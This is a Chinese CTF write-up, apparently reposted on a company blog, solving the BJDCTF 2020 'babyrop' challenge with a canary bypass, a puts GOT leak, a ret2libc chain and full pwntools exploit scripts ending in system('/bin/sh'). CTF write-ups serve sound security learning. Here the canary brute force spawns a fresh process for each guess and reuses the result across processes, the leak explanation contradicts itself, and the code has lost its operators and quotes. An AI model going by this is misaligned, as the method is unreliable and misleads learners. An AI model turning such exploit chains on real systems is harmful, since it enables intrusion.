资讯详情

BJDCTF babyrop实战:栈溢出、Canary绕过与ROP构建

📅 2026/10/9 5:47:15 | 华诺云谱 👁 阅读
BJDCTF babyrop实战:栈溢出、Canary绕过与ROP构建
BJDCTF 2020的babyrop是我印象里pwn入门阶段非常值得啃的一道题。它没有多复杂的利用链也不涉及堆利用但恰好把栈溢出、canary绕过、格式化输出泄露、ROP链构造、libc地址计算这几个基本功串在了一道题里。换句话说你把这道题完整吃透了再去看后续的ret2libc、栈迁移、SROP这些进阶题型就会顺很多。这篇文章不写原理长文直接按照我实际做题的顺序从拿到附件到拿到shell完整过一遍顺便把我在过程中踩过的几个坑和排查思路一并记录。1. 题目概览与考点拆解1.1 这道题到底是什么babyrop属于典型的入门级栈溢出题考点非常集中ROP返回导向编程。题目二进制一般是一个运行在Linux下的可执行文件通过输入超长数据覆盖栈上的返回地址劫持程序执行流最终调用system函数或者one_gadget拿到shell。BJDCTF 2020这场的babyrop我拿到的题目附件是一个64位的ELF文件。主要逻辑通常是这样main函数里初始化了缓冲区的输出模式随后调用一个存在漏洞的函数。这个函数里先通过read或者gets读入输入然后把输入内容原样打印出来这一步很重要后面泄露canary就用它最后函数返回。但问题是如果输入长度超过栈上分配的空间返回地址就会被覆盖直接导致程序崩溃或者被控制。很多人上手做pwn题第一反应是到处找现成的exp直接跑。我建议别这么干因为每道题的栈偏移、保护机制、libc版本可能都不一样直接跑别人的脚本大概率会卡在“为什么我这边的地址和题目不一样”这种问题上。老老实实从查保护、读反汇编开始反而最快。1.2 考点分布与实际价值这道题虽然叫baby但覆盖的知识点其实不少栈溢出基础理解缓冲区、栈帧、返回地址的关系知道gets/read为什么会造成溢出。canary绕过程序开了栈保护需要先泄露canary的值再在payload中正确还原。返回导向编程在NX开启的情况下不能用shellcode需要利用程序自身的gadget拼ROP链。libc地址泄露通过puts或printf打印GOT表里的地址再根据偏移计算libc基址。利用脚本编写使用pwntools完成交互、爆破、泄露、getshell的全流程。如果你现在能不看任何wp独立把这道题做出来说明你对32位和64位调用的区别、函数的PLT/GOT机制、栈上数据布局已经有一个比较扎实的认知了。这也是为什么我强烈推荐新手拿这道题当“毕业考核”做不出来就去补基础做出来了再往下学新的利用手法。2. 环境准备与静态分析2.1 运行环境怎么搭老生常谈但还是要说pwn题最好在Linux环境下做。如果你现在用的是Windows建议直接装一个Ubuntu 18.04或者20.04的虚拟机。不需要多高的配置2G内存就够日常做题了。版本上我更推荐Ubuntu 18.04原因很实在它自带的glibc是2.27版本很多CTF题目的远程环境就是基于这个版本本地调试会更贴近远程。需要的工具我列一下Python 3.6以上装好pwntoolspip install pwntools。gdb调试器再加一个peda或pwndbg插件。我习惯用pwndbg它对栈布局的展示比较直观checksec也内置了。反汇编工具IDA或者Ghidra。如果只是快速看逻辑radare2也行但图形化界面下用IDA确实效率更高。one_gadget工具有时候利用它比手工拼接ROP链更省事装一下备用。这些工具装上之后第一步是检查题目给的二进制文件信息。先把它放到Linux里chmod x赋予执行权限然后跑一下file命令。file babyrop babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]****, not stripped关键信息有两个这是64位程序而且not stripped说明符号表还在函数名都能看出来逆向难度直接降低一个档次。如果是stripped版本就得靠识别特征函数来猜了新手做题遇到那种情况会痛苦很多。2.2 从checksec看保护机制拿到ELF文件后我做的第一件事永远是checksec。这个命令会列出程序开了哪些保护不同的保护组合直接决定了利用思路。checksec babyrop常见的结果分几类只开了NX最简单栈上不能执行代码但可以直接构造ROP链。NX PIE需要先泄露程序基址每次加载程序基地址都不同gadget地址需要动态计算。NX Canary需要先泄露canary值否则覆盖返回地址会触发stack smashing检测。NX Canary PIE Full RELRO最麻烦要同时解决地址随机化和栈保护通常得依赖格式化字符串漏洞或者先做一次泄露。我拿到的这道babyropchecksec的结果是这样保护机制状态RELROPartial RELROGOT表可写Stack Canary开启NX开启PIE关闭这个组合其实很友好。PIE关闭意味着程序本身在内存中的加载地址固定所有函数地址、gadget地址在本地和远程都是确定的不用做基址泄露。Partial RELRO意味着GOT表可写后面如果有机会可以做GOT劫持。唯一挡路的就是Canary所以这道题的核心工作可以概括成一句话先绕过canary再构造ROP。2.3 反汇编阅读与漏洞点定位用IDA打开程序main函数的结构通常类似这样int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); setbuf(stderr, 0); puts(Input:); vuln(); return 0; }vuln函数就是漏洞所在典型写法int vuln() { char buf[32]; read(0, buf, 0x50uLL); return printf(You said: %s\n, buf); }这里有两个关键点。第一buf只有32字节但read允许输入0x50也就是80字节量直接溢出了48字节足够覆盖ebp和返回地址。第二printf(%s, buf)会把你输入的字符串打印出来这就是泄露canary的关键因为canary存放在栈上buf区的高地址方向如果我们在输入时用数据填满buf再继续往后写printf就会连着后面的栈内容一起打印出来。具体来说canary的位置在栈帧中位于局部变量和返回地址之间。64位程序的canary通常占用8字节并且最低字节固定是0x00。这个0x00是为了截断字符串函数防止canary通过printf这类输出函数被直接读出来。但这里有个漏洞的罅隙printf(%s)遇到0x00就停止可如果我们先填充整个buf再覆盖到canary前的字节时abc字符串会把canary开头的0x00吃掉。此时printf就会继续打印canary剩余的高7个字节因为它在内存中在这个被填充的0x00的后面。这里我直接给出我的做法用cyclic或者gdb找栈偏移。这方面我一句话提一下你可以用gdb在调用vuln后的返回地址处下断点然后看rsp和rbp的位置关系。或者更简单跑一段cyclic生成随机字符串作为输入观察崩溃时rip的值换算偏移。我这边调试下来的结果是从buf起始位置到canary开始处是40字节所以填充40字节后接着输入的8个字节会被放在canary的位置上再往后是返回地址的位置总共需要再覆盖8字节第56字节的位置是返回地址。3. 绕过canary的思路拆解3.1 canary为什么能防止溢出程序在函数入口处会从fs:0x28读取一个随机值存放在栈上。函数返回前会把这个值和fs:0x28再做一次对比如果发现被改动了就终止程序。这个随机值每运行一次就变一次所以理论上攻击者不可能提前知道它除非能通过某种手段把当前运行时的canary读出来。Canary的字节布局值得说明白。它是一个8字节的值在64位程序里通常是00 随机字节 随机字节 随机字节 随机字节 随机字节 随机字节。第一个字节一定是0x00。为什么因为栈上局部变量后面紧接着就是canary而经典的字符串函数比如strcpy、gets、printf的%s都靠0x00作为字符串结束符所以这个0x00可以天然地阻止基于字符串操作的越界读取让canary不会因为一个正常的printf就泄露出去。但这道题绕过了这层防护。因为vuln函数里用了read它不会在中间停止而是会一直读固定长度的数据并且接受包括0x00在内的任意字节。虽然在发送输入时我们会注意换行符的问题但可以利用格式化字符串的%s打印机制如果我们恰好把canary的低位0x00覆盖成了非0字节printf就会继续把后面canary的其他字节当作字符串的一部分打出来。3.2 逐字节爆破的原理与实操既然canary无法预知我们就把它的7个非零字节一个个试出来。思路是在payload中填满buf加空出来的40字节然后在canary的第一个字节位置填一个测试值。如果猜对了printf输出的内容会包含我们填入的测试字节因为此时字符串没被截断会继续打canary剩下的字节反之程序直接崩溃。具体的爆破逻辑发送40字节填充 猜测的第0个字节比如从0x01试到0xff。观察程序是否崩溃。没崩溃说明这个字节猜对了记下来继续猜第1个字节。第1个字节猜的时候payload变成了40字节填充 第0字节正确值 猜测的第1字节。依次类推直到7个字节全部确定最低位的0x00不用猜固定是0x00。这里有一个比较隐蔽的坑gets函数以换行符0x0a结束输入所以如果canary的某个字节恰好是0x0a用gets读入的时候会把输入截断导致无法泄露。这道题用的是read可以读任意字节所以没这个问题。这一点在你后续做别的题的时候一定要留意很多题不用read而用gets就要换个思路处理。还有一点第一字节为什么固定是0x00不用猜这是体系结构决定的并非程序自己改的。新版本的内核和编译器基本都遵循这个规律。3.3 爆破脚本怎么写才稳爆破的速度取决于字节空间。一个字节共256种可能减去0x00和0x0a这样的截断值每轮最多试255次。整个7个字节下来最坏情况要试1785次左右。每轮都重新启动一次进程如果每次都做完整的交互时间会很长但这是题目环境决定的没有办法只能慢慢来。但脚本里如果每轮循环都sleep一下那一次爆破可能跑十几分钟就有点太慢了。我的做法是去掉不必要的sleep用connect重连时本身就带一点网络延迟足够程序稳定运行了。from pwn import * def leak_canary(): canary b\x00 for i in range(1, 8): for guess in range(1, 256): if guess 0x0a: continue p process(./babyrop) p.recvuntil(bInput:) payload ba * 40 canary bytes([guess]) p.sendline(payload) try: resp p.recvall(timeout1) if bYou said: in resp: canary bytes([guess]) p.close() break except EOFError: p.close() return canary print(hex(u64(leak_canary())))这段代码的核心判断依据是如果猜错了canary的当前字节程序在函数返回时检测到canary被改写会调用__stack_chk_fail直接终止进程不会打印You said:这部分内容。只有当前字节正确后续的canary字节才会被打印出来程序也能正常走到printf输出。注意远程题目因为网络波动recvall的timeout要设置得稍微宽松一点否则泄露过程容易误判。我习惯本地爆破timeout设1秒远程设2秒宁可慢一点也不要频繁误报。4. 完整exp编写与调试过程4.1 栈偏移计算回顾这里插一个我在调试中确认偏移量的具体方法。先用pwntools的cyclic生成一段长度足够的字符串发送给程序让它溢出崩溃然后在gdb里看crash时的返回地址值用cyclic -l反查偏移gdb ./babyrop run crash_input如果崩溃时RIP的值是0x6161616c那就在另一个终端执行cyclic -l 0x6161616c它会直接告诉你偏移量。这种方式比我手动数栈布局快得多。我实际使用的是简单推算根据反汇编代码中sub rsp, 0x30之类的指令推算出局部变量区大小再加上8字节的canary位置正好是40字节。用cyclic验证了一遍两种方法结果一致。4.2 第一次完整交互泄露canary拿到canary之后还需要确认返回地址的准确位置。从vuln函数的栈布局来看buf在栈上占32字节紧接着是8字节的canary然后是8字节的旧rbp这是栈帧指针函数返回后被恢复再然后是8字节的返回地址。所以从buf起点算起canary偏移是4032 8返回地址偏移是5632 8 8 8。这里有一个容易混淆的点有些wp里写返回地址偏移是48那是因为他们用的buf大小不是32或者做的是32位程序32位程序没有8字节rbp对齐的问题偏移会少8字节。我建议每次做题都自己确认一遍不要照搬别人的偏移。第一次完整交互的目标是填充到返回地址然后返回main函数再执行一次vuln。这样做的意义是程序在第一次调用vuln时我们利用printf泄露了canary但此时程序还没被我们控制。如果直接覆盖返回地址程序会跳转到我们指定的地址但这个地址我们还没算出来所以必须先回到main利用泄露的信息再第二次进入vuln时完成真正的ROP。p process(./babyrop) p.recvuntil(bInput:) payload ba * 40 canary bb * 8 p64(elf.sym[main]) p.sendline(payload) p.recvuntil(bInput:)这个第一次交互的payload里40字节填充8字节canary8字节填充然后覆盖返回地址为main。因为PIE被关闭了main函数的地址在elf里是固定的直接用elf.sym[main]就能取到。程序于是又回到了初始状态等我们下一次输入。4.3 泄露libc地址回到main之后我们拥有了第二次溢出机会。这一次我们把返回地址覆盖为putsplt并让puts函数打印putsgot里存放的地址。GOT表里存放的是puts函数在libc中的真实地址打印出来后再减去libc中puts的偏移就能得到libc的基址。这里涉及一个非常关键的64位程序传参问题64位函数的前6个参数分别放在rdi、rsi、rdx、rcx、r8、r9寄存器中而不是像32位那样直接压栈。所以我们需要一个gadget来设置rdi的值也就是pop rdi; ret。常用方法是用ROPgadget工具查找ROPgadget --binary babyrop | grep pop rdi如果程序本身没有这个gadget题目通常会给一个叫libc_csu_init的通用gadget也就是常说的ret2csu利用它来构造任意函数调用的参数。但那会复杂一些操作链更长容易出错。我当时查到一个pop rdi; ret地址然后构造的ROP链就是pop rdi; ret putsgot的地址 putsplt vuln函数的地址这个链的执行流程是pop rdi从栈上弹出下一个值putsgot地址放入rdi寄存器然后ret弹出putsplt地址跳转过去puts被调用它打印的是作为参数传入的putsgot里存放的内容也就是puts的真实地址。打印完之后函数会继续执行栈上下一个地址也就是vuln的地址于是程序又进入vuln等待我们第三次输入。pop_rdi 0x400723 payload ba * 40 canary bb * 8 payload p64(pop_rdi) p64(elf.got[puts]) payload p64(elf.plt[puts]) payload p64(elf.sym[vuln]) p.sendline(payload) p.recvline() leak p.recvline().strip() puts_addr u64(leak.ljust(8, b\x00))打印出来的是一个8字节的地址但实际printf输出的时候可能因为0x00截断接收到的数据可能不足8字节所以要左补齐到8字节。这里有一个注意事项puts打印完字符串后会自动加一个换行符接收的时候要把最后这个换行去掉否则u64解出来的地址会多一个字节导致整个偏移计算全部出错。4.4 libc版本匹配与基址计算拿到puts的真实地址后就该确定它对应的libc版本和偏移了。这一步我逢人就要强调不要自己去猜更不要拿一个网上找的旧libc硬套偏移对不上后面的system地址和binsh地址全是错的最后要么段错误要么拿不到shell。我一般用两种方式定位。第一种如果题目给了libc文件直接用pwntools的ELF读偏移libc ELF(./libc.so.6) offset libc.sym[puts]第二种如果没给libc就把泄露出来的puts地址发到libc database网站上匹配。这类网站会返回一个可用的libc下载链接。我当时匹配到的是glibc 2.27对应的libc之后基址计算就很简单了libc ELF(./libc.so.6) libc_base leak - libc.sym[puts] system_addr libc_base libc.sym[system] binsh_addr libc_base libc.search(b/bin/sh).__next__()这步的核心思想是随机化的只是libc在内存中的加载基址而libc内部各符号之间的相对偏移是固定的。泄露的puts地址减去puts在libc中的偏移得到的就是libc基址再拿基址加system的偏移和字符串/bin/sh的偏移就得到最终的调用目标。4.5 最终getshell最后一次输入我们用相同的手法再次覆盖返回地址payload变成pop rdi; ret /bin/sh的地址 system函数的地址这个链执行的效果是把/bin/sh字符串地址放入rdi然后调用system函数。system会启动一个shell之后通过pwntools的interactive()就能拿到交互式终端。我当时的最终exp完整结构是这样from pwn import * context.arch amd64 context.log_level info elf ELF(./babyrop) libc ELF(./libc.so.6) p process(./babyrop) def leak_canary(): canary b\x00 for i in range(1, 8): for guess in range(1, 256): if guess 0x0a: continue p2 process(./babyrop) p2.recvuntil(bInput:) payload ba * 40 canary bytes([guess]) p2.sendline(payload) try: resp p2.recvall(timeout1) if bYou said: in resp: canary bytes([guess]) p2.close() break except EOFError: p2.close() return canary log.info(leaking canary...) canary leak_canary() log.info(canary: hex(u64(canary))) p.recvuntil(bInput:) p.sendline(ba * 40 canary bb * 8 p64(elf.sym[main])) p.recvuntil(bInput:) pop_rdi 0x400723 p.sendline(ba * 40 canary bb * 8 p64(pop_rdi) p64(elf.got[puts]) p64(elf.plt[puts]) p64(elf.sym[main])) p.recvline() leak p.recvline().strip() puts_addr u64(leak.ljust(8, b\x00)) log.info(puts: hex(puts_addr)) libc_base puts_addr - libc.sym[puts] system_addr libc_base libc.sym[system] binsh_addr libc_base next(libc.search(b/bin/sh)) log.info(libc base: hex(libc_base)) p.recvuntil(bInput:) p.sendline(ba * 40 canary bb * 8 p64(pop_rdi) p64(binsh_addr) p64(system_addr)) p.interactive()这个脚本的逻辑其实已经完整了剩下的就是本地跑通、远程替换process为remote之后重跑。5. 调试过程实录与问题排查5.1 一个几乎必踩的坑栈对齐我第一次调试到最后的system调用阶段程序直接崩了gdb里看到的报错信息是Program received signal SIGSEGV, Segmentation fault排查了很久最后发现是栈对齐问题。这个坑在64位系统的glibc里非常常见因为system函数内部使用了movaps指令这个指令要求栈地址按16字节对齐。而我们的ROP链在执行过程中每ret一次栈指针rsp就会加8如果初始状态没有对齐等跳到system内部时rsp的地址可能就不满足16字节对齐条件movaps一执行就segfault。解决办法是在调用system之前补一个ret gadget让rsp先8对齐一次。也就是在payload里先放一个ret的地址然后再放pop rdi链。这类ret gadget非常好找程序里到处都是ROPgadget --binary babyrop | grep ret我在payload里插入一个0x40053e的ret地址问题立刻解决。这是64位pwn题特别高频的问题以后的题目里几乎每个调用libc函数的地方都可能会遇到建议直接把“有system就加ret”变成肌肉记忆。5.2 接收数据不完整导致地址计算错误还有一次调试时我打印出来的puts地址明显偏大导致后面计算出来的libc_base根本不对。排查过程如下先在gdb里设置断点查看实际数据gdb ./babyrop b *0x400723 run input_payload x/gx $rdi对比pwntools接收的数据发现我用recvline()接收时漏了一部分字节。原因在于puts函数打印完字符串后如果字符串本身带有0x00printf输出时不会把这些0x00输出出来。而puts打印一个地址时地址的高字节部分往往是0x00所以完整的8字节地址实际上在网络上只发出了几个非零字节。pwntools处理这个问题要靠ljust补零。但更隐蔽的是如果地址的高位正好是0x0a之类的字符交互协议可能还会出问题。稳妥的做法是打印之前先完整接收msg p.recvuntil(b\n, dropTrue) log.info(raw: msg.hex())调试时把接收的原始数据打出来十六进制显示这样到底缺失了几个字节一目了然。5.3 本地通远程不通的排查思路这类题目最常见的问题就是本地脚本跑得飞快一换远程地址就崩。优先级从高到低排查远程平台用的libc版本是不是和本地一样。把远程泄露的puts地址拿回来匹配如果匹配到的libc不同下载对应版本重新算一遍。远程环境的栈偏移与题目附件是否一致。同一个题目的ELF在不同环境跑偏移量一般是固定的但如果出题人附件里给的是源码让你自己编译那你的栈布局和远程就不一样了。远程是否开了PIE或者改动过保护机制。用checksec对比一下远程加载的文件是不是和附件一致。网络延迟导致的接收截断timeout设短了程序输出还没到recv直接超时返回空字符串。我那次远程调试最后发现就是libc版本不一致。本地是2.31远程是2.27符号偏移差了不少。换成远程匹配的libc之后一次就通了。5.4 几个实际操作中的小经验爆破canary的时候建议加上进度提示比如每猜出一个字节就log一次这样即使跑很久你也知道它到底卡在哪。不然30分钟没输出容易让人怀疑脚本是不是死循环了。recvall不如recv精确。有的答案里喜欢用recvall配合timeout来判断爆破字节是否正确但我是用recvuntil加超时来做的原因是recvall会一直等到程序退出才返回而滢爆破过程中如果猜对了程序不会立刻退出要等我们手动close。这个时间差容易被误判成超时。用recvuntil可以明确指定等待程序打印You said:如果等不到就说明猜错了判断更直接。远程做题的时候一定不要在脚本里写死进程名要写一个连接函数便于本地和远程切换def start(): if args.REMOTE: return remote(目标地址, 端口) else: return process(./babyrop)这只是个小习惯但在你同时调试本地和远程的时候能省不少麻烦。6. 这道题之后继续学什么babyrop做完回头再看它其实解题链非常清晰泄露canary泄露libc地址组合final payload。每个环节都有对应的知识点任何一个没搞懂都会卡住。我自己带新人的时候常让他们做这道题就是为了逼他们把这些基础全部补齐。如果在某一步卡住那卡住的地方大概率就是他后续所有pwn题的薄弱点。从这道题往下走不同方向的进阶路径大概是栈利用方向学会ret2csu处理缺少gadget的情况学会栈迁移解决溢出字节不够的问题再理解SROP和sigreturn利用。格式化字符串方向把printf的格式化输出利用玩明白可以任意地址读、任意地址写。堆利用方向先掌握堆块的基本结构、fastbin和unsorted bin然后逐步接触double free、use-after-free、house of系列。代码审计方向理解这道题的c源码模型以后遇到真实软件漏洞时能快速定位危险函数和溢出点。我个人做pwn题的最大感受是这类题目不是纯粹比谁的工具多而是逼你把计算机系统底层原理理清楚。栈到底怎么分配函数调用时寄存器怎么传参GOT表为什么需要一个PLT来跳转libc加载时的地址随机化为什么只影响基址不影响偏移这些问题在babyrop里全都能找到对应的落点。弄明白这些不管以后是打CTF还是做安全研究地基都算是打牢了。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑